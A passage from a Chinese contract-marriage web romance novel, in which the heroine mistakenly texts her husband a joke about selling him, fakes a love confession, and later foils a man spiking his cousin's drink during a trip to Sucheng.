协议里写的明明白白,“老公”这种亲密称谓,只有在外人面前才算钱。
合着她嘴瓢的这声老公,白喊了?
苏忘卿脸颊“唰”的一下红了,指尖都蜷了起来。
“那个,抱,抱歉。嘴瓢了。”
苏忘卿尴尬的扯了扯嘴角,低垂眼睫,不敢看沙发上的男人。
却没看到,外表冷漠的男人,也在听到刚才一声“老公”时,后耳根在苏忘卿看不到的角度红了一下。
男人将苏忘卿的反应尽收眼底,戴上眼镜后,戴上眼镜后的目光沉了沉,嘴角不着痕迹弯了一下,再收敛笑意,淡淡应一声“嗯。”
而苏忘卿,听到裴景辞没什么情绪的回应,尴尬的下床,放下一句:“那个,我去洗漱。”
一边抓起手机,快步朝着卫生间方向走。
走进卫生间后,苏忘卿看着镜子里的自己,吐出一口气。
这时,手机短信响了一声。
苏忘卿拿起手机一看,只见手机屏幕上一长串的0,转款方是:裴景辞。
“个十百千万……”
苏忘卿仔仔细细数了一遍,转账金额是1010万。
这是她昨晚一天的收入?这么多?居然比一个月零花钱还多?
这也太爽了吧?
果然嫁给裴景辞是对的。
不仅能享受顶级咸鱼生活,还能不费吹灰之力挣超多外快。
完美。
不过,她怎么记得只有810万来着?
算了,不管了。
苏忘卿嘴角忍不住上扬,便看到偌大的卫生间浴缸旁边的柜子上,整整齐齐摆放着洗干净的整套女士衣服。
衣服上还有淡淡很好闻的清新味道。
这是裴景辞准备的?
不可能,估计是裴老太太吩咐人准备的吧。
裴老太太好贴心。
半个小时后,苏忘卿洗好澡洗漱结束,换了崭新的衣服走出卫生间,见裴景辞已经换了一身衣服端坐在沙发上处理文件,俨然恢复了往日矜贵禁欲的模样。
听见动静,男人抬眸,视线落在苏忘卿身上。
不过短短一眼,男人眸底掠过一丝几不可察的波澜,快的如同错觉,转瞬,又覆上惯有的淡漠冷肃。
接着,裴景辞随手合上文件,朝苏忘卿伸出手,骨节分明的手摊开,声线低沉:“走吧,奶奶在等。”
早饭全是苏忘卿喜欢的,居然还有新鲜剥了皮且整齐完美的葡萄。
苏忘卿早饭吃的很开心,期间还不忘给裴景辞夹菜,心里默默记账:夹菜一次5万,又赚一笔,轻松不费劲。
吃过饭,裴老太太笑着拉苏忘卿去后花园,裴景辞则回到书房处理工作。
暖融融的春日阳光懒懒洒在藤椅上。
裴老太太攥着苏忘卿的手,一下一下拍着她的手背。
老人家眼角的笑纹堆的温柔,扫了一眼二楼书房宽大的落地窗,看向眼前的孙媳妇儿,
“忘卿啊,奶奶活了大半辈子,其实最放心不下的就是景辞。”
老太太的声音慢悠悠的,带着岁月沉淀下来的温和:“景辞这孩子从小就不爱笑,不爱说话,特别是他十岁那年父母因为一场意外离开,景辞就再也没有像昨天那样开心的笑过。”
苏忘卿乖乖坐着,脊背挺的端正,听着陪老太太的话,不由自主往书房的方向瞥了一眼。
之前联姻之前,听爸妈说过裴景辞父母不在世,没想到那么早就离开了他?
“我从前总担心,景辞这一辈子,可能都要这么独自一个人冷清清的过了。”
裴老太太捏捏苏忘卿的脸颊,语气更加慈祥:“可昨天……奶奶看的明明白白,景辞对你不同,他看你的眼神,特别软。”
“你呢,对景辞也很是依赖,很是喜欢,我老婆子看你们真心喜欢彼此,心里别提多高兴了,就盼着你们能一直好好的,幸福长久。”
闻言,苏忘卿乖巧点头,脸上挂着温顺笑意:“奶奶您放心,我们会好好的。”
老太太欣慰一笑:“那就好,那就好。奶奶年纪大了,就盼着家里再热闹点。”
“要是你们能有个孩子,热热闹闹的,就是家里最大的福气,你说是不是?”
这话一落,苏忘卿面儿上的笑容一顿。
虽然还端着温顺的样子,但心里直打鼓:怎么又来了?这个话题昨天不是聊过了吗?裴景辞,救命。
奈何裴景辞不在这里,苏忘卿只能靠自己了。
她眉眼弯弯,扬起一抹乖巧的笑容,声音也放软了些:“奶奶,我和景辞会好好过日子的,这些事情,我们慢慢来。”
生怕老太太再往下说,苏忘卿立刻转开话题,语气疑惑的问道:“对了奶奶,我一早上都没见到二叔二婶,小叔小婶他们,他们是出去了吗?”
“他们呀,昨天是特意赶回来团聚的,家里和公司都还有一堆事等着处理,天不亮就动身回去了。”
裴老太太笑着解释,显然早就习惯了子女们的匆忙。
苏忘卿正暗自纳闷,二叔二婶为何这般来去匆匆,裴景
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辞这个集团掌权人怎么反而能带在老宅处理工作,口袋里的手机响了起来。
她拿出一看,是妈妈打来的电话。
苏忘卿对着裴老太太歉意的弯了弯腰,起身走到不远处花架旁接电话。
“妈,您放心,奶奶对我特别好……嗯,景辞也在,他在书房忙工作……放心啦。”
苏忘卿手指有一下没一下触摸眼前的树叶子,应付完家长里短,挂了电话。
没注意到,远处二楼书房的落地窗内,一道高大的身影立在窗前,深色的眸子静静注视着花架下小小的身影上。
男人单手插兜,眉峰舒展,平日里冷厉的眉眼褪去了所有杀伐果断,只剩下一片偏偏的柔软。
不知看了多久,裴景辞才收回目光,重新回到办公桌前,垂眸看桌上的文件。
·
转眼便到了午饭时分,一桌子菜肴又全是苏忘卿喜欢的。
裴景辞坐在苏忘卿身旁,脊背挺直,肩线冷利。
他垂着眼,拿起公筷,慢条斯理给苏忘卿夹菜,剔掉鱼刺,动作轻缓。
吃到一半,男人放下筷子。
他先侧目,淡淡扫了苏忘卿一眼,再转向裴老太太:“奶奶,公司临时有急事,我下午要临时出个差。”
裴老太太虽然有不舍,可也知道公事为重,拉着裴景辞反复叮嘱要注意身体。
裴景辞颔首,再看向苏忘卿时,语气放缓:“先送你回家。”
苏忘卿点了点头:“好。”
没想到裴景辞演戏还演全套?比她还敬业。
不过随随便便说几句话喊一声老公就能赚钱,超值。
午饭过后,陈助理早已等候在老宅门口。
裴景辞和苏忘卿一同坐上车子后排。
许是工作太过着急,车子刚一启动离开老宅,裴景辞便打开平板开始处理工作。
男人骨节分明的指尖在屏幕上快速滑动,动作利落果决。
苏忘卿坐在一旁,见裴景辞在认真工作,便掏出手机,点开与林铭月的聊天框,指尖飞快敲击,打下一行字:【猜猜我这一趟老宅之旅怎么样?】,发送。
眉眼间满是藏不住的雀跃。
林铭月很快回复:【怎么样?】
苏忘卿:【怒挣1280万。】
林铭月秒回一连串问号:【????你是去见家长,还是去抢银行了?】
苏忘卿被闺蜜的问题逗笑。
正准备回复,林铭月的电话却等不及率先打了进来。
苏忘卿瞥了一眼左手边在专心工作的男人,连忙压低声音接起电话:“喂?”
电话那头的林铭月一听声音不对,默契的压低声音问:“裴总在你身边?”
苏忘卿小声回:“嗯。”
“算了,那微信说吧。”
电话匆匆挂断,苏忘卿一猜林铭月着急打电话就是为了问她老宅的事情。
苏忘卿手指飞速敲击着屏幕键盘:【我来老宅之前,裴景辞跟我签了一份协议。】
【比如叫一次老公50万,给裴景辞夹菜一次5万,等等等等,你就想吧,昨晚一晚上加上今天大半天,我能挣多少?】
【跟你说哦,1280万已经是很克制了,就单纯“老公”这个称呼,我能喊到裴景辞破产你信不信。】
【不过话又说回来了,就裴太太这身份的挣钱速度,你说我要是把裴景辞打包卖给别的想要裴太太身份的人,换取一次性巨额躺平基金,我要价十个亿不过分吧?】
消息发送完毕,纯纯打嘴炮的苏忘卿美滋滋等着回复。
可等了好一会儿,也没等到闺蜜信息。
苏忘卿疑惑皱眉,低头看向手机,顷刻间瞳孔骤然一缩。
只见聊天框界面顶端的联系人,根本不是林铭月,赫然是裴景辞?
怎么是裴景辞?
难道刚才挂电话后不小心碰到哪里,切换了聊天界面?
来不及多想什么,苏忘卿手忙脚乱的长按消息,想要撤回。
可屏幕上却冰冷弹出一行提示:已超过2分钟,无法撤回。
苏忘卿倒吸一口凉气,呼吸一滞。
完了完了,私下吐槽还被正主抓包?
她这位裴太太是不是做到头了?
那她还怎么轻松躺平?
她不想再被逼着去相亲各种歪瓜裂枣了啊喂。
那什么,现在发消息刷屏还来得及吗?
或者,想办法把裴景辞手机拿过来,删除信息?
正发愁着呢,手机倏地“叮”一声轻响,在安静的车厢里格外明显。
苏忘卿垂眸一看,只见对方发来信息:【是吗?十个亿,可不够。】
苏忘卿浑身一紧,手里的手机差点儿摔出去。
她僵硬抬眸,直直撞进旁边男人的眼底。
裴景辞依旧是一副清冷矜贵的模样,镜片后的眸子深黑淡漠,看不出一分喜怒,沉稳的如同在说一件无关紧要的小事。
唯有眸底极深处,藏着一丝旁人无从察觉的暗涌,快的近乎于错觉,只淡淡望着苏忘卿,声线低沉:“裴太太很会算账?”
10. 第10章
四目相对刹那,苏忘卿浑身一僵,纤细肩颈不自觉绷紧,攥着手机的指节泛白。
方才还活蹦乱跳的惬意劲儿,顷刻间烟消云散。
完了完了,怎么办怎么办?
苏忘卿尴尬的抿了抿唇:“裴先生,我,我跟朋友开玩笑的……”
心里却在飞速打鼓:裴景辞肯定生气了吧?
毕竟他可是整个海城都不敢招惹的男人,估计从来没人敢拿他打趣过。
下一刻,苏忘卿身上突然落下一片阴影
跟着,男人倾身靠近,骨节分明的大手稳稳撑在苏忘卿靠着的椅背上,令人心跳加速的俊美面庞猝不及防呈现在眼前。
而男人身上与生俱来的压迫气息,也蕴着熟悉的冷杉薄荷清香,朝着苏忘卿扑面而来。
男人长睫垂落,遮住昏暗车厢内镜片后的眸色,下颌线绷出冷硬流畅的弧度。
苏忘卿呼吸一滞,大脑瞬间空白。
好一会儿,才艰难咽了一下口水:“裴,裴先生?”
什,什么情况?裴景辞怎么又离她这么近?
难道和上次一样,想利用这种方式让她知错?
果然,男人唇瓣轻抿,喉结缓慢滚动一下,低沉微哑的嗓音裹着清新气息,在苏忘卿唇边响起:
“玩笑?”
裴景辞将眼前女孩儿的反应尽收眼底,金丝边框眼镜后的眸色沉如寒潭,而他垂在身侧的手收紧,骨节泛出浅淡的冷白,凸起的喉结滚了一下,下颌线绷紧。
苏忘卿:“……”
二人距离太近,气息交缠间,苏忘卿都怀疑她是不是快要窒息了。
关键这个高大的男人存在感太强烈了,苏忘卿大脑一片混乱,嘴巴更是不听使唤直接道歉:“对,对不起,我错了,我真的……只是跟闺蜜开玩笑而已,我,我怎么会把裴总卖了呢?”
“别说十个亿,就是给我一百个亿,我也不卖。”
闻言,裴景辞唇瓣微启,目光凝在眼前女孩儿泛红的耳朵尖上,声音低沉:“为什么?”
苏忘卿一愣:“啊?因,因为……”
因为什么?
其实她想把裴景辞卖了的,但这话苏忘卿不敢说。
苏忘卿大脑被迫飞速运转,眼珠慌乱转了一圈,不知想到了什么,她眼前一亮,立刻委屈巴巴眨了眨眼:“因为我其实……一直喜欢裴先生。”
既然裴景辞不近女色,那她这么说,他肯定不会再靠自己这么近了。
她可真是个大聪明。
而话音未落,车厢里安静了一秒。
裴景辞眸光微顿,撑在椅背上的手臂不着痕迹收紧。
男人肩线绷的更紧,周身的气息也更沉了一分。
苏忘卿察觉到周围空气气压不对,只能硬着头皮继续往下编。
她暗暗深呼吸,眼神越发真挚,长长的睫毛颤动,连声音都软了下来:“从……第一次见面就喜欢了,但我知道裴先生不喜欢旁人靠太近,所以一直忍着不敢表白……又怎么可能把裴先生卖了呢?”
“我那是,那是纯粹跟闺蜜炫耀,说我嫁给了喜欢的人,喜欢的人还对我特别大方,一时间得意忘形才,才胡说八道的……”
苏忘卿谎话越说越顺,眼眶里的水光更浓了,几乎分分钟就要滚落下来了似的,小脸上更是满是委屈:“裴先生要是不相信,我也没办法……但你不能因为这个就,就生我的气……”
“我喜欢你,没有错。”
说完这话,苏忘卿眨巴眨巴水雾蒙蒙的大眼睛,可怜兮兮望着近在咫尺的男人,小脸儿上写满了无辜。
心里却在疯狂刷屏:乖乖,这演技,奥斯卡欠她一百个小金人。
裴景辞快信她,快信她,然后就可以以后都离她远远的了。
这般想着,苏忘卿想到将来这个男人对她避之唯恐不及的样子,嘴角忍不住向上翘了翘,又飞快抿平,强行收敛所有笑意,继续软乎乎的看着近在咫尺的男人,眼底满是“深情”。
而裴景辞,长睫微垂,深邃的眸将眼前女孩儿所有细微反应尽收眼底。
女孩儿湿漉漉的眼睛里的惊慌无措还没散干净,心虚还挂在颤抖的睫毛尖上,偏偏硬要挤出一副深情款款的样子。
像一只明明炸了毛,却还要装乖的小狐狸。
男人眸底溢出的为数不多的无奈淡去,取而代之的,是沉沉的暗潮。
须臾,裴景辞微微垂首,与眼前女孩儿本就近在咫尺的距离,又压近一丝。
距离越来越近,近到男人温热的呼吸扫过苏忘卿嘴角,只差分毫,就要贴上她的唇。
“喜欢我?”
感受到莫名危险的气息,苏忘卿睫毛轻颤,小脑袋下意识往后一缩,身体也不由自主想要往后撤。
奈何后背就是座椅,她退无可退。
而苏忘卿被男人圈在方寸之间,对方身上熟悉的冷杉薄荷气息裹着清冽的温度,缠的她脑子发昏。
不知不觉间,她脸颊以肉眼可见的速度泛起红晕。
混混沌沌之间,苏忘卿不由自主指尖掐着掌心。
掌心处传来一阵疼,苏忘卿恍然清醒,用力点了点头:“嗯,特别喜欢,喜欢到夜不能寐,喜欢到天天想要见你。”
这话一出,苏忘卿自己先懵了,反应过来后,恨不得当场咬掉自己的舌头。
她在说什么?
不过是慌不择路瞎编的借口,装出一副委屈真挚的样子而已,怎么还越说越上头了?
再看裴景辞,男人凝在她身上的目光沉的深不见底,还带着一种审视的探究意味。
再开口时,裴景辞声音似乎更沙哑了:“从……第一次见面?”
苏忘卿心脏一紧,破罐子破摔:“对,对呀,一见钟情。”
反正说都说了。
先让裴景辞不生气再说,不然他现在就离婚……
不对,其实她现在手上也有一千多万了,应该可以……
不行不行,爸妈估计还会让她继续相亲。
想到之前不断相亲的歪瓜裂枣,苏忘卿打了个寒颤。
便见眼前的男人唇角勾起一点极淡的弧度。
他沉默片刻,直直注视着苏忘卿慌乱躲闪的眼睛,声音又低了一分:“那裴太太说说,喜欢我什么?”
苏忘卿:“……”
没完没了了是吗?
奈何实在不想再被逼迫相亲,再被叨叨,而且换一个人联姻肯定不会那么巧的又给巨额零花钱,还不近女色不回家,苏忘卿暗暗深呼吸。
忍住。
于是苏忘卿扬起嘴角,眉眼弯弯,张口就来:“喜欢裴先生长的好看,特别好看。是我见过最好看的男人。”
“还喜欢裴先生对长辈孝顺,工作认真,还……”
实在不知道说什么了,苏忘卿心一横,闭着眼睛,瞎话脱口而出:“还喜欢裴先生……离我很近很近。”
说完这话,苏忘卿懊恼的闭了闭眼。
她这说的都是什么鬼话?
还离她很近?她恨不得裴景辞离她八丈远,永远不见面。
而裴景辞,看着眼前女孩儿心虚到快要哭出来的样子,眼底掠过极淡的笑意,又很快抚平。
男人垂在身
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侧的手抬起,微热的指尖擦过女孩儿发烫的耳尖。
却让苏忘卿浑身一僵,连呼吸都停了半拍。
跟着,男人沉沉的声音一字一顿,在苏忘卿耳边响起:“裴太太,你耳朵红了。”
苏忘卿一怔,条件反射捂住自己的耳朵。
接着抬眸,脸颊轰的一下子滚烫,小手更是慌乱摆动:“我没有,我……”
后面的话尚未说完,却被男人打断:“没有撒谎?还是……”
“没有喜欢我?”
简简单单一个问题,苏忘卿瞬间浑身紧绷。
一时间,周遭的空气似乎越发粘稠,闷的人胸口发紧,呼吸艰涩。
尤其是,近在咫尺的男人清冽又带着侵略性的气息袭来,将苏忘卿所有感官层层叠叠包裹,她根本挣脱不开。
就在这时,
“叮铃铃~”一阵急促的手机来电铃声,打破了车厢内紧绷的空气。
苏忘卿心慌的看了一眼手里的手机,心虚的瞥了瞥手机屏幕:“我,我先接个电话?”
裴景辞深深看了苏忘卿一眼,眸底的暗潮稍稍敛去。
他直起身,撑在苏忘卿这边椅背上的手臂慢慢收回,重新退回原本的位置。
萦绕在苏忘卿周身迫人的感觉,也终于稍稍退去。
而苏忘卿,狠狠松了一大口气。
不知想到了什么,苏忘卿抬头去看驾驶座司机和副驾驶位置,却后知后觉发现,前后排之间的隔音挡板,竟然不知道什么时候已经升起来了?
妥妥的将前排和后排之间,隔成了一个私密空间。
所以刚才和裴景辞之间尴尬的一幕,司机和助理应该没有看到?
那就好。
苏忘卿脸颊上的燥热淡了不少。
她不敢再看身旁的男人一眼,慌忙按下电话,压低声音:“喂,怎么啦?”
电话那头的林铭月:“等你发微信呢。”
“怎么不发啦?”
苏忘卿欲:“……”
她发了。
可是发错人了。
欲哭无泪。
不管怎么样,现在都不是继续聊刚才话题的时候。
苏忘卿简单跟林铭月扯了两句别的,挂断了电话。
接下来,一路无言。
苏忘卿全程不敢再玩手机,更是不敢看隔壁男人一眼。
好在不多时,车子行驶到别墅主宅楼下,稳稳停下。
苏忘卿是逃也似的推开车门:“裴先生,我,我先回去了。”
“祝你出差愉快。”
话音未落,从没上过班的苏忘卿,顿觉好像说错了话。
她不敢再看裴景辞一眼,飞快的下车,一溜烟儿的冲进了主宅别墅里面。
直到一口气回到卧室,苏忘卿一屁股瘫软在卧室沙发上。
呼,这关总算过了。
至于裴景辞信不信她说的什么喜欢他?
管他呢,只要别回家,别出现在她面前就行。
而另一边,快速朝着私人机场行驶的车子里。
裴景辞手里捏着一份文件,却久久没有翻动一页。
男人目视着窗外掠过的风景,长长的睫毛垂落,遮住眸底情绪。
脑海里却不受控制一遍又一遍回想着车厢里的画面:女孩儿耳朵发烫,睁着大眼睛瞎话连篇的说喜欢他。
男人唇角勾起一点弧度。
很淡,淡到几乎看不见。
须臾,男人唇瓣微启,用只有自己能听见的低沉声线,缓缓低语:
“裴太太,我们……来日方长。”
11. 第11章
“姐妹,快说,怎么回事,我等不及了。”
电话那头,林明月着急的问。
不久前在车子里的那一通电话,两个人啥也不能说。
于是等到苏忘卿回到卧室,等了好半天确定裴景辞真的离开之后,她第一时间拨通林铭月电话。
苏忘卿把故意表白的事绘声绘色讲了一遍。
林铭月听完,一脸震惊:“所以,你们家裴总现在知道你想把他卖了?还没有生气?这,这还是那些商界大佬们惧怕到不敢招惹的裴景辞吗?”
“姐妹,我怎么感觉……你被拿捏了?”
苏忘卿:“什么意思?”
林铭月:“你想啊,正常人发现自己被当成提款机和即将被卖掉的商品,不早就炸了?可你家裴总不仅没炸,还很淡定的问你没有撒谎,还是没有喜欢他?这……不会是给你记小本本上了吧?”
“毕竟人人都说裴景辞手段狠辣,城府极深,不是没有道理的。你不知道他什么时候,在哪儿,会怎么跟你算总账。”
苏忘卿听着电话里的话,忽然感觉后背有点发凉。
“你,你别吓我。”
苏忘卿攥紧了手机,回想之前在车子里的时候,裴景辞不断朝她贴近的压迫感觉,她紧张的咬了咬唇。
林铭月的声音还在继续:“我没吓你。你自己想想,裴总从头到尾有说过一句重话吗?发过一次火吗?”
苏忘卿摇了摇头:“没有……”
林铭月:“那就对了。这种男人,不发火的时候才最可怕,因为他都在憋着呢。”
“指不定心里想着以后怎么收拾你。”
闻言,苏忘卿紧张的手心直冒冷汗:“……那什么,我现在申请跟他离婚,还来得及吗?”
“或者,我再跟他好好道个歉?”
林铭月:“……你让我想想啊……”
“对了,要不你试探他一下,看看他到底有没有生气?”
苏忘卿:“……好主意。”
“先不跟你说了。”
挂断电话后,苏忘卿找出裴景辞的号码,拨了出去。
只是电话铃声只响了一声,她又吓的赶紧挂断了电话。
“还是发微信吧。”
苏忘卿打开跟裴景辞的聊天对话框,这才发现二人自从领证那天短暂加了微信后,从来没有聊过一句。
苏忘卿手指飞快在屏幕上打字:【裴先生,你什么时候回来?】
发送。
“如果他回复我消息,应该就是没有生气吧?”
苏忘卿自言自语。
可时间一分一秒往前推移,微信却毫无动静。
难道,真的很生气,只是在憋着?
正惆怅着,“咚咚咚~”的敲门声响起。
苏忘卿以为是管家阿姨,不在意的应了一声:“进”。
下一刻,门被推开,高大修挺的男人出现在门口。
竟然是……裴景辞?
苏忘卿震惊的瞪大了眼睛,整个人倏地从沙发上弹坐起来,后背绷的笔直:“裴,裴先生?您不是出差去了吗?”
“怎么……回来了?”
门口的男人身姿挺拔修挺,深灰色西装一丝不苟,肩线冷利流畅。
一丝不苟的黑发垂在额前,金丝边框眼镜衬的他面容清隽冷冽。
男人目光淡淡扫过苏忘卿慌乱泛红的脸颊,再瞥一眼沙发旁还亮着屏幕的手机,声线低沉,听不出情绪:“落了一份文件。”
苏忘卿松了口气:“哦,这样啊。”
便见裴景辞步伐沉稳的朝房间内走了两步,距离苏忘卿不远不近。
男人身上熟悉的清新气息漫过来,不浓烈,却让苏忘卿浑身紧绷。
“刚给我打电话,有事?”
听到这个问题,苏忘卿尴尬的扯了扯嘴角:“……我,我就是……就是关心裴先生。”
“毕竟我……我喜欢裴先生,所以惦记你什么时候回来。”
这话说完,苏忘卿自己都佩服自己的演技。
而裴景辞,眸色微顿,周身气息看似沉敛平和,肩线却几不可查绷紧一瞬。
须臾,男人淡淡开口,语气漫不经心:“一周左右。”
“没什么事,我先走了。”
话音落,裴景辞转身,推门离开。
房间里重新恢复安静。
苏忘卿瘫回到沙发上,心脏乱跳。
等等,所以裴景辞……是生气了,还是没生气啊?
算了不管了。
大不了离婚算了。
“咚咚~”敲门声再次响起。
苏忘卿吓一跳。
“不会又回来了吧?”
苏忘卿紧张的从沙发上起来,来到门口,打开门。
却没看到裴景辞,反倒是管家陈阿姨。
陈阿姨笑眯眯双手递上一张黑卡:“太太,这是先生给您的卡,说是您后续花费可以刷这张卡。”
“没限额。”
苏忘卿一愣。
怔怔的接过黑卡,见陈阿姨转身离开,苏忘卿回到卧室,拍下卡的照片,发送给林铭月,打字:【你说他什么意思?】
林铭月:【乖乖,全球限量黑卡?】
【难道说,这是在变相告诉你:不用卖了他,他也能给你十个亿,甚至更多?】
苏忘卿:【什么意思?】
林铭月:【不知道。你确定……他不近女色?该不会是……对你有意思吧?】
苏忘卿惊恐:【别胡说。】
这一晚,苏忘卿睡的很不踏实,总担心裴景辞对她有想法。
可转念一想,裴景辞想要女,什么样的女人没有?肯定不会是她。
何况她之前说深爱他,他也没什么反应。
肯定对她没意思。
·
第二天一早醒来,苏忘卿迷迷糊糊的睁开眼睛,洗漱时,发现眼底有两个大大的黑眼圈儿。
不行,不能再胡思乱想。
于是苏忘卿拿起手机给林铭月发消息:【去旅游?】
对面秒回:【去哪儿?】
苏忘卿:【苏城?】
下一秒,林铭月回复:【机票酒店订好了,一个小时后,机场集合。】
苏忘卿看着屏幕,忍不住弯了弯眼睛。
不愧是她从小玩到大的闺蜜,就是这么有行动力。
两个小时后,飞往苏城的头等舱升空。
宽敞座椅裹的人浑身舒适,苏忘卿靠着窗,看窗外城市逐渐缩小,闭眼休息。
林铭月翻着时尚杂志,挑眉随口问道:“你家裴总要是提前出差回来,发现你不在别墅里怎么办?”
苏忘卿:“……出来旅游,别提他行吗?”
林铭月:“行。”
两个小时后,飞机降落苏城。
苏城不负盛名,青石板路蜿蜒,小桥流水潺潺,白墙黛瓦藏着江南温柔,连风里都软意。
苏忘卿和林铭月拎着简单行李,住进市中心一家五星级酒店总统套房。
看着落地窗外的苏城水景,二人放下行李,直奔商业街。
逛街,举着相机拍个不停,街边小吃尝了个遍。
苏忘卿更是放开手脚,专柜看上的衣裙首饰,二话不说让店员打包寄回海城,刷卡连眼睛都不眨。
林铭月跟在身后,故作哀怨叹气:“姐妹,老实说,我现在嫁裴景辞堂弟还来得及吗?”
虽然英年早婚什么的听起来好惨,可是嫁的人如果不回家,不近女色,还发大把零花钱,还有一张全球限量黑卡,那也太爽了吧。
林铭月之前还不觉得,最近一段时间天天被苏忘卿“包养”,真真是羡慕了。
而苏忘卿,看着闺蜜眼睛放光,憋笑,歪头认真摇头:“他好像没有堂弟。”
“不对,说好了不提裴景辞。”
“好好好。”
二人一起逛到夕阳西斜,就近找了一家临河餐厅,选了个靠窗位置。
窗外流水潺潺,乌篷船摇碎了落日余晖,风景绝佳。
苏忘卿靠在椅背上,惬意眯了眯眼睛,轻敲桌面感叹:“这才叫人生啊。”
“嗯?那是……裴若雪?”
“谁?”
林铭月顺着苏忘卿的视线看过去。
苏忘卿便指着角落一个女孩子,压低声音说道:“裴景辞堂妹,裴若雪。”
“没记错的话,她好像还在上学,不在学校,怎么会跑来苏城?”
林铭月看着不远处一个打扮精致可爱的女孩子,也压低声音,八卦道:
“你家裴总这堂妹,这是……谈恋爱了?”
因为裴若雪对面坐着一个男人,而她看着男人,嘴角扬起甜甜的笑,妥妥少女心动的模样。
男人二十多岁,长相周正,身着黑色风衣,举手投足温润儒雅。
可眼神轻浮,看裴若雪的眼神也藏着算计。
苏忘卿瞧的心里一咯噔,拿起菜单挡住半张脸,小声对林铭月说:“我觉得那男的有问题。”
林铭月也认同的点头:“我也觉得。”
不远处,那个男人点了两杯饮品,和裴若雪有说有笑。
期间,裴若雪被逗的笑个不停。
没过多久,裴若雪起身,走向卫生间方向。
她刚转身离开,原本温润的男人脸色一变。
他飞快环顾四周,确认没人注意后,掏出一个小小的白色纸包,打开后,毫不犹豫将里面的粉末倒进裴若雪的杯子里。
见状,苏忘卿和林铭月震惊的对视一眼,脸色沉了下来。
不多时,裴若雪从洗手间回来。
刚落座,便端起饮料准备喝。
可下一刻,手腕却被人攥住。
裴若雪抬眸,诧异的喊了一声:“嫂子?你怎么在这儿?”
苏忘卿看向裴若雪的杯子:“哦,刚好看到这位男士往你杯子里加了好东西,好奇过来问问,他加的什么。”
对面的男人一听这话,脸色顿时一变:“什么加了东西?你别胡说八道,信不信我报警抓你。”
苏忘卿被渣男的话气笑了。
但同时心里微沉,怕单纯的裴若雪被骗。
可下一秒,却见裴若雪皱起眉,对男人冷声道:“你才胡说,她是我嫂子,还能骗我?”
“说,你是不是真的加了东西?你不说,我报警了。”
裴若雪素来崇拜堂哥裴景辞。
在她心里,裴景辞就是男人中的天花板,那么作为堂哥妻子的苏忘卿,肯定不会撒谎。
闻言,男人脸色青一阵白一阵,怒喝一声:“神经病”,转身想跑。
苏忘卿眼尾一冷,直接伸腿绊倒了男
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人。
餐厅里的客人纷纷转头,服务员和保安闻讯跑来。
“抓住他。”
苏忘卿将手里的水杯递给保安:“这里面被他加了东西,我们已经报警了,警察马上就来。”
保安们见状,哪儿敢耽搁,赶紧将男人按在地上。
男人气急败坏嚷嚷:“我没有,你们污蔑我……”
直到这时,一旁呆若木鸡的裴若雪才反应过来。
“你,你真的加东西了?”
裴若雪紧张的一把抱住苏忘卿:“嫂子……”
“幸亏有你,不然……”
裴若雪从小被家里娇生惯养,但其实父母特别忙,根本没时间管她。
久而久之裴若雪渐渐渴望爱情。
可周边追求她的,都是因为她的身份,没有一个是真心喜欢她的。
就在这时,裴若雪遇到了一个处处关心她的网友。
网友关怀备至,且还是在不知道她真实身份的前提下。
只是没想到……
“没事了。”
苏忘卿不知道事情的来龙去脉,只能拍拍裴若雪后背,轻声安抚:“别怕,我不会让人欺负你。嗯,警察来了?这么快?”
很快,警察将男人带走了。
苏忘卿和林铭月则陪裴若雪跟着进了警察局。
等裴若雪做完笔录,天已经全黑了。
裴若雪委屈巴巴拉着苏忘卿的手:“嫂子,今天要不是你,我真不知道会怎么样……”
“对了嫂子,你答应我,千万别告诉我哥,行吗?我害怕。”
苏忘卿心软点头:“放心,我不说。”
她也怕。
却没注意,不远处路边,一辆黑色劳斯莱斯后排座位上,身着深色高定西装的裴景辞,正透过车窗,看着警局门口被裴若雪抱住的苏忘卿。
从前在他面前永远乖巧温顺的女孩儿,此刻正轻拍裴若雪的背,眉眼温柔。
男人看了很久。
唇角的弧度,一点一点加深。
前排陈特助毕恭毕敬回头请示:“裴总,咱们不下去吗?”
裴景辞直直凝着苏忘卿的侧脸,眸色深了深。
须臾,唇瓣轻启,声音清冷:“不必了。”
“去查一下,太太住在哪家酒店。”
“好的,裴总。”
陈特助一愣:“可是裴总,您今晚本来要飞米国……”
“推迟。”
男人抬眼,眼底翻涌着未明的暗芒,语气淡淡却让人不敢违抗:“明天再去。”
·
另一边,等到苏忘卿和林铭月把后怕的裴若雪送上了返程海城的飞机时,已经华灯初上。
二人走出机场,齐齐松了口气。
“总算把这位小祖宗送回去了。”
林铭月伸了个懒腰,转身看向苏忘卿:“好累,不玩儿了,直接回酒店吧。”
“嗯嗯,我也好累。”
整整一天奔波不休。
从清晨一时兴起来到苏城,逛街血拼,临河用餐,再到撞破渣男下药,警局做笔录,就算是精力再旺盛的苏忘卿,也忍不住泛起浓浓疲惫。
半个小时后,苏忘卿和林铭月一起回到酒店。
走进电梯,电梯上升,数字一路跳到总统套房所在的25层。
“叮~”一声,电梯门开。
苏忘卿和林铭月一起走出电梯。
“明天睡到自然醒,然后直接飞海边,怎么样?”
林铭月揉了揉发酸的脖颈,提议:“反正苏城也逛差不多了。”
苏忘卿立刻点头:“好啊,就去咱们上次住的那家酒店?落地窗正对大海,早上睁眼就能看日出……”
后面的话尚未说完,苏忘卿脚步一顿。
只见电梯斜对面的2501号房门门口,一道高大挺拔的背影正对着走廊,修长冷白的指尖捏着房卡,正要刷卡进门。
男人一身墨色高定西装,肩宽腰窄,西装裤下的大长腿颀长劲瘦。
只一个背影,就清贵又惹眼,帅的让人移不开眼。
苏忘卿眼前一亮。
转头,跟闺蜜林铭月对视一眼。
这身材,这气质,这背影,绝了。
这种级别的帅哥,不打个招呼,简直对不起这趟旅行。
于是苏忘卿弯起嘴角,径直朝眼前的背影迈了一步,语气轻快:“嗨,你好……”
话音未落,眼前高大的身影缓缓转过身。
跟着,四目相对。
苏忘卿脸上的笑僵在原地。
只见眼前的男人不是别人,正是……裴景辞?
她的联姻老公,裴景辞?
苏忘卿呼吸一紧,脑子里只剩下一串问号:裴景辞?
怎么是裴景辞?
他不是出差了吗?
为什么会出现在这里?
苏忘卿大脑一片空白。
而裴景辞,男人清隽矜贵的脸在走廊暖黄的灯光下被衬的轮廓更加分明。
金丝边框眼镜后的眸子深邃如寒潭将眼前女孩儿的反应尽收眼底。
男人淡淡扯了扯嘴角,朝着苏忘卿迈了一步,嘴唇轻启,声音低沉磁性,却听不出任何情绪起伏:“抱歉,没听清,裴太太刚才……”
“说什么?”
苏忘卿:“!”
12. 第12章
